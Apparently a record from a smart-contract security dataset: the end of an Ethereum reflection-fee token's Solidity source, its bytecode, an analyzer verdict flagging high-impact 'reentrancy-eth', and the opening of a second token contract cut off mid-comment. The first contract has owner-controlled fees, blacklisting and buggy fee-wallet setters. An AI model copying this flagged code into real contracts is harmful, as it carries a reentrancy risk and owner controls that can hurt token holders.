_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _reflectionFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 reflectionFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(reflectionFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_reflectionFeeOnBuy = reflectionFeeOnBuy;
_taxFeeOnBuy = taxFeeOnBuy;
_reflectionFeeOnSell = reflectionFeeOnSell;
_taxFeeOnSell = taxFeeOnSell;
require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 25, "Must keep buy taxes below 25%");
require(_reflectionFeeOnSell + _taxFeeOnSell <= 25, "Must keep buy taxes below 25%");
}
function enableTrading() internal onlyOwner {
tradingActive = true;
}
function airdrop(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){
require(!tradingActive, "Trading is already active, cannot relaunch.");
require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits");
for(uint256 i = 0; i < airdropWallets.length; i++){
address wallet = airdropWallets[i];
uint256 amount = amounts[i];
_transfer(msg.sender, wallet, amount);
}
enableTrading();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTxAmount(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTxAmount(address(uniswapV2Pair), true);
return true;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function setMaxTxAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function excludeFromMaxTxAmount(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTxAmount[updAds] = isEx;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function _setRPDIUAddress(address RPDIUAddress) external onlyOwner {
require(_RPDIUAddress != address(0), "_RPDIUAddress cannot be 0");
_isExcludedFromFee[RPDIUAddress] = false;
RPDIUAddress = payable(_RPDIUAddress);
_isExcludedFromFee[RPDIUAddress] = true;
emit UpdatedRPDIUAddress(_RPDIUAddress);
}
function _setMktgAddress(address mktgAddress) external onlyOwner {
require(_mktgAddress != address(0), "_mktgAddress cannot be 0");
_isExcludedFromFee[mktgAddress] = false;
mktgAddress = payable(_mktgAddress);
_isExcludedFromFee[mktgAddress] = true;
emit UpdatedMktgAddress(_mktgAddress);
}
}
|
0x60806040526004361061021c5760003560e01c80636b99905311610123578063a9059cbb116100ab578063ea1644d51161006f578063ea1644d5146106b2578063ea2f0b37146106d2578063ec28438a146106f2578063f2fde38b14610712578063f42938901461073257600080fd5b8063a9059cbb146105db578063bbc0c742146105fb578063bfd792841461061c578063dd62ed3e1461064c578063e755d0cf1461069257600080fd5b80638da5cb5b116100f25780638da5cb5b146105395780638f9a55c01461055757806395d89b411461056d57806398a5c3151461059b578063a2a957bb146105bb57600080fd5b80636b999053146104c357806370a08231146104e35780637d1db4a5146105035780637ddffed91461051957600080fd5b806327334a08116101a657806349bd5a5e1161017557806349bd5a5e1461041e57806351bc3c851461043e578063563912bd14610453578063595cc84f1461048357806367243482146104a357600080fd5b806327334a08146103ac5780632fd689e3146103cc578063313ce567146103e2578063437823ec146103fe57600080fd5b8063095ea7b3116101ed578063095ea7b3146102f65780631694505e1461032657806318160ddd1461034657806321704d1f1461036c57806323b872dd1461038c57600080fd5b806286803414610228578062b8cf2a1461026557806305f82a451461028757806306fdde03146102a757600080fd5b3661022357005b600080fd5b34801561023457600080fd5b50601554610248906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561027157600080fd5b50610285610280366004612652565b610747565b005b34801561029357600080fd5b506102856102a2366004612546565b6107f4565b3480156102b357600080fd5b5060408051808201909152601a81527f727573736961706c73646f6e74696e76616465756b7261696e6500000000000060208201525b60405161025c9190612792565b34801561030257600080fd5b50610316610311366004612627565b6109ef565b604051901515815260200161025c565b34801561033257600080fd5b50601654610248906001600160a01b031681565b34801561035257600080fd5b50683635c9adc5dea000005b60405190815260200161025c565b34801561037857600080fd5b50610285610387366004612546565b610a06565b34801561039857600080fd5b506103166103a73660046125b6565b610aff565b3480156103b857600080fd5b506102856103c7366004612546565b610b68565b3480156103d857600080fd5b5061035e601a5481565b3480156103ee57600080fd5b506040516009815260200161025c565b34801561040a57600080fd5b50610285610419366004612546565b610d56565b34801561042a57600080fd5b50601754610248906001600160a01b031681565b34801561044a57600080fd5b50610285610dd4565b34801561045f57600080fd5b5061031661046e366004612546565b60066020526000908152604090205460ff1681565b34801561048f57600080fd5b5061028561049e3660046125f6565b610e0d565b3480156104af57600080fd5b506103166104be36600461268d565b610e62565b3480156104cf57600080fd5b506102856104de366004612546565b6111e6565b3480156104ef57600080fd5b5061035e6104fe366004612546565b611231565b34801561050f57600080fd5b5061035e60185481565b34801561052557600080fd5b50601454610248906001600160a01b031681565b34801561054557600080fd5b506000546001600160a01b0316610248565b34801561056357600080fd5b5061035e60195481565b34801561057957600080fd5b50604080518082019091526005815264525044495560d81b60208201526102e9565b3480156105a757600080fd5b506102856105b6366004612749565b611253565b3480156105c757600080fd5b506102856105d6366004612761565b611282565b3480156105e757600080fd5b506103166105f6366004612627565b611380565b34801561060757600080fd5b5060175461031690600160b01b900460ff1681565b34801561062857600080fd5b50610316610637366004612546565b600b6020526000908152604090205460ff1681565b34801561065857600080fd5b5061035e61066736600461257e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561069e57600080fd5b506102856106ad366004612546565b61138d565b3480156106be57600080fd5b506102856106cd366004612749565b61147f565b3480156106de57600080fd5b506102856106ed366004612546565b6114ae565b3480156106fe57600080fd5b5061028561070d366004612749565b611529565b34801561071e57600080fd5b5061028561072d366004612546565b611558565b34801561073e57600080fd5b50610285611642565b6000546001600160a01b0316331461077a5760405162461bcd60e51b8152600401610771906127e5565b60405180910390fd5b60005b81518110156107f0576001600b60008484815181106107ac57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e88161294d565b91505061077d565b5050565b6000546001600160a01b0316331461081e5760405162461bcd60e51b8152600401610771906127e5565b6001600160a01b03811660009081526007602052604090205460ff166108965760405162461bcd60e51b815260206004820152602760248201527f4163636f756e74206973206e6f74206578636c756465642066726f6d207265666044820152663632b1ba34b7b760c91b6064820152608401610771565b60005b6008548110156107f057816001600160a01b0316600882815481106108ce57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156109dd57600880546108f990600190612936565b8154811061091757634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600880546001600160a01b03909216918390811061095157634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600790925220805460ff1916905560088054806109b757634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b806109e78161294d565b915050610899565b60006109fc33848461168a565b5060015b92915050565b6000546001600160a01b03163314610a305760405162461bcd60e51b8152600401610771906127e5565b6014546001600160a01b0316610a885760405162461bcd60e51b815260206004820152601960248201527f5f5250444955416464726573732063616e6e6f742062652030000000000000006044820152606401610771565b6001600160a01b039081166000908152600560209081526040808320805460ff199081169091556014805486168086529483902080549092166001179091555490519316835290917f76ea8f4c7f92a16aeeab7693bdc087d6a936223547eb2f0ece7c91087623c6ae91015b60405180910390a150565b6000610b0c8484846117ae565b610b5e8433610b59856040518060600160405280602881526020016129aa602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611cef565b61168a565b5060019392505050565b6000546001600160a01b03163314610b925760405162461bcd60e51b8152600401610771906127e5565b6001600160a01b03811660009081526007602052604090205460ff1615610bfb5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610771565b600854603290610c0c9060016128df565b1115610c965760405162461bcd60e51b815260206004820152604d60248201527f43616e6e6f74206578636c756465206d6f7265207468616e203530206163636f60448201527f756e74732e2020496e636c75646520612070726576696f75736c79206578636c60648201526c3ab232b21030b2323932b9b99760991b608482015260a401610771565b6001600160a01b03811660009081526002602052604090205415610cf0576001600160a01b038116600090815260026020526040902054610cd690611d29565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b03163314610d805760405162461bcd60e51b8152600401610771906127e5565b6001600160a01b038116600081815260056020908152604091829020805460ff1916600117905590519182527f58c3e0504c69d3a92726966f152a771e0f8f6ad4daca1ae9055a38aba1fd2b629101610af4565b6014546001600160a01b0316336001600160a01b031614610df457600080fd5b6000610dff30611231565b9050610e0a81611dad565b50565b6000546001600160a01b03163314610e375760405162461bcd60e51b8152600401610771906127e5565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600080546001600160a01b03163314610e8d5760405162461bcd60e51b8152600401610771906127e5565b601754600160b01b900460ff1615610efb5760405162461bcd60e51b815260206004820152602b60248201527f54726164696e6720697320616c7265616479206163746976652c2063616e6e6f60448201526a3a103932b630bab731b41760a91b6064820152608401610771565b60c8835110610f6b5760405162461bcd60e51b815260206004820152603660248201527f43616e206f6e6c792061697264726f70203230302077616c6c657473207065726044820152752074786e2064756520746f20676173206c696d69747360501b6064820152608401610771565b60005b8351811015610fef576000848281518110610f9957634e487b7160e01b600052603260045260246000fd5b602002602001015190506000848381518110610fc557634e487b7160e01b600052603260045260246000fd5b60200260200101519050610fda3383836117ae565b50508080610fe79061294d565b915050610f6e565b50610ff8611f52565b737a250d5630b4cf539739df2c5dacb4c659f2488d611018816001610e0d565b601680546001600160a01b0319166001600160a01b03831690811790915561104b903090683635c9adc5dea0000061168a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561108457600080fd5b505afa158015611098573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bc9190612562565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561110457600080fd5b505afa158015611118573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113c9190612562565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561118457600080fd5b505af1158015611198573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bc9190612562565b601780546001600160a01b0319166001600160a01b03929092169182179055610b5e906001610e0d565b6000546001600160a01b031633146112105760405162461bcd60e51b8152600401610771906127e5565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6001600160a01b038116600090815260026020526040812054610a0090611d29565b6000546001600160a01b0316331461127d5760405162461bcd60e51b8152600401610771906127e5565b601a55565b6000546001600160a01b031633146112ac5760405162461bcd60e51b8152600401610771906127e5565b600c849055600d829055600e839055600f81905560196112cc83866128df565b111561131a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f77203235250000006044820152606401610771565b6019600f54600e5461132c91906128df565b111561137a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f77203235250000006044820152606401610771565b50505050565b60006109fc3384846117ae565b6000546001600160a01b031633146113b75760405162461bcd60e51b8152600401610771906127e5565b6015546001600160a01b031661140f5760405162461bcd60e51b815260206004820152601860248201527f5f6d6b7467416464726573732063616e6e6f74206265203000000000000000006044820152606401610771565b6001600160a01b039081166000908152600560209081526040808320805460ff199081169091556015805486168086529483902080549092166001179091555490519316835290917f4aeacdf11926d26257f8e9ea6e9091947978ac978705e15835bf04f21f4fa69b9101610af4565b6000546001600160a01b031633146114a95760405162461bcd60e51b8152600401610771906127e5565b601955565b6000546001600160a01b031633146114d85760405162461bcd60e51b8152600401610771906127e5565b6001600160a01b038116600081815260056020908152604091829020805460ff1916905590519182527f4f6a6b6efe34ec6478021aa9fb7f6980e78ea3a10c74074a8ce49d5d3ebf1f7e9101610af4565b6000546001600160a01b031633146115535760405162461bcd60e51b8152600401610771906127e5565b601855565b6000546001600160a01b031633146115825760405162461bcd60e51b8152600401610771906127e5565b6001600160a01b0381166115e75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610771565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b0316148061167757506015546001600160a01b0316336001600160a01b0316145b61168057600080fd5b47610e0a81611f91565b6001600160a01b0383166116ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610771565b6001600160a01b03821661174d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610771565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166118125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610771565b6001600160a01b0382166118745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610771565b600081116118d65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610771565b6000546001600160a01b0384811691161480159061190257506000546001600160a01b03838116911614155b15611b5757601754600160b01b900460ff16611aca576017546001600160a01b0383811691161480159061194457506016546001600160a01b03838116911614155b801561196957506001600160a01b03821660009081526005602052604090205460ff16155b15611aca576019548161197b84611231565b61198591906128df565b106119de5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610771565b601854811115611a305760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610771565b6001600160a01b0383166000908152600b602052604090205460ff16158015611a7257506001600160a01b0382166000908152600b602052604090205460ff16155b611aca5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610771565b6000611ad530611231565b601a54601854919250821015908210611aee5760185491505b808015611b055750601754600160a01b900460ff16155b8015611b1f57506017546001600160a01b03868116911614155b8015611b345750601754600160a81b900460ff165b15611b5457611b4282611dad565b478015611b5257611b5247611f91565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680611b9957506001600160a01b03831660009081526005602052604090205460ff165b80611bcb57506017546001600160a01b03858116911614801590611bcb57506017546001600160a01b03848116911614155b15611bd857506000611ce3565b6017546001600160a01b038581169116148015611c0357506016546001600160a01b03848116911614155b15611c1557600c54601055600d546011555b6001600160a01b03841660009081526005602052604090205460ff16611ca657601854821115611ca65760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610771565b6017546001600160a01b038481169116148015611cd157506016546001600160a01b03858116911614155b15611ce357600e54601055600f546011555b61137a84848484612016565b60008184841115611d135760405162461bcd60e51b81526004016107719190612792565b506000611d208486612936565b95945050505050565b6000600954821115611d905760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610771565b6000611d9a612044565b9050611da68382612067565b9392505050565b6017805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611e0357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611e5757600080fd5b505afa158015611e6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e8f9190612562565b81600181518110611eb057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601654611ed6913091168461168a565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611f0f90859060009086903090429060040161281a565b600060405180830381600087803b158015611f2957600080fd5b505af1158015611f3d573d6000803e3d6000fd5b50506017805460ff60a01b1916905550505050565b6000546001600160a01b03163314611f7c5760405162461bcd60e51b8152600401610771906127e5565b6017805460ff60b01b1916600160b01b179055565b6014546001600160a01b03166108fc611fab836002612067565b6040518115909202916000818181858888f19350505050158015611fd3573d6000803e3d6000fd5b506015546001600160a01b03166108fc611fee836002612067565b6040518115909202916000818181858888f193505050501580156107f0573d6000803e3d6000fd5b80612023576120236120a9565b61202e8484846120d7565b8061137a5761137a601254601055601354601155565b60008060006120516121ce565b90925090506120608282612067565b9250505090565b6000611da683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612210565b6010541580156120b95750601154155b156120c057565b601080546012556011805460135560009182905555565b6000806000806000806120e98761223e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061211b908761229b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461214a90866122dd565b6001600160a01b03891660009081526002602052604090205561216c8161233c565b6121768483612386565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121bb91815260200190565b60405180910390a3505050505050505050565b6009546000908190683635c9adc5dea000006121ea8282612067565b82101561220757505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836122315760405162461bcd60e51b81526004016107719190612792565b506000611d2084866128f7565b600080600080600080600080600061225b8a6010546011546123aa565b925092509250600061226b612044565b9050600080600061227e8e8787876123ff565b919e509c509a509598509396509194505050505091939550919395565b6000611da683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cef565b6000806122ea83856128df565b905083811015611da65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610771565b6000612346612044565b90506000612354838361244f565b3060009081526002602052604090205490915061237190826122dd565b30600090815260026020526040902055505050565b600954612393908361229b565b600955600a546123a390826122dd565b600a555050565b60008080806123c460646123be898961244f565b90612067565b905060006123d760646123be8a8961244f565b905060006123ef826123e98b8661229b565b9061229b565b9992985090965090945050505050565b600080808061240e888661244f565b9050600061241c888761244f565b9050600061242a888861244f565b9050600061243c826123e9868661229b565b939b939a50919850919650505050505050565b60008261245e57506000610a00565b600061246a8385612917565b90508261247785836128f7565b14611da65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610771565b600082601f8301126124de578081fd5b813560206124f36124ee836128bb565b61288a565b80838252828201915082860187848660051b8901011115612512578586fd5b855b8581101561253957813561252781612994565b84529284019290840190600101612514565b5090979650505050505050565b600060208284031215612557578081fd5b8135611da681612994565b600060208284031215612573578081fd5b8151611da681612994565b60008060408385031215612590578081fd5b823561259b81612994565b915060208301356125ab81612994565b809150509250929050565b6000806000606084860312156125ca578081fd5b83356125d581612994565b925060208401356125e581612994565b929592945050506040919091013590565b60008060408385031215612608578182fd5b823561261381612994565b9150602083013580151581146125ab578182fd5b60008060408385031215612639578182fd5b823561264481612994565b946020939093013593505050565b600060208284031215612663578081fd5b813567ffffffffffffffff811115612679578182fd5b612685848285016124ce565b949350505050565b6000806040838503121561269f578182fd5b823567ffffffffffffffff808211156126b6578384fd5b6126c2868387016124ce565b93506020915081850135818111156126d8578384fd5b85019050601f810186136126ea578283fd5b80356126f86124ee826128bb565b80828252848201915084840189868560051b8701011115612717578687fd5b8694505b8385101561273957803583526001949094019391850191850161271b565b5080955050505050509250929050565b60006020828403121561275a578081fd5b5035919050565b60008060008060808587031215612776578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b818110156127be578581018301518582016040015282016127a2565b818111156127cf5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156128695784516001600160a01b031683529383019391830191600101612844565b50506001600160a01b03969096166060850152505050608001529392505050565b604051601f8201601f1916810167ffffffffffffffff811182821017156128b3576128b361297e565b604052919050565b600067ffffffffffffffff8211156128d5576128d561297e565b5060051b60200190565b600082198211156128f2576128f2612968565b500190565b60008261291257634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561293157612931612968565b500290565b60008282101561294857612948612968565b500390565b600060001982141561296157612961612968565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610e0a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f2b3b8b787f60bc87f581a29693dabcd9289aac34ffb35bd88e13e6588d4982964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,278 |
0x5ea18478333217d96363094c9c9899d272f102af
|
/**
*Submitted for verification at Etherscan.io on 2022-02-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
